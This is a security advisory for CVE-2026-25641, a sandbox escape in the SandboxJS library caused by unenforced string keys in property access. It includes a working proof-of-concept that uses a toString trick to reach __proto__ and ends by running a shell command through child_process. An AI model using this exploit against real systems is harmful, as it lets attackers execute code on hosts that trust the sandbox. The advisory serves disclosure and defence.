CVE-2026-25641

Date: February 6, 2026

Summary A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties. Details Even though the key used in property accesses ("b" in the code below) is annotated as "string", this is never enforced: https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304 So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using "hasOwnProperty(key)" and a different one for when the key is used for the actual property access. PoC const Sandbox = require('@nyariv/sandboxjs').default; const code = " let a = new Map; a.x = 23; let count = 0; let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}} let mapProt = a[nastyProp]; mapProt.has = isFinite; console.log( isFinite.constructor( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );"; const scope = {}; const sandbox = new Sandbox(); const exec = sandbox.compile(code); exec(scope).run(); Impact Remote code execution, if attacker can execute code inside the sandbox.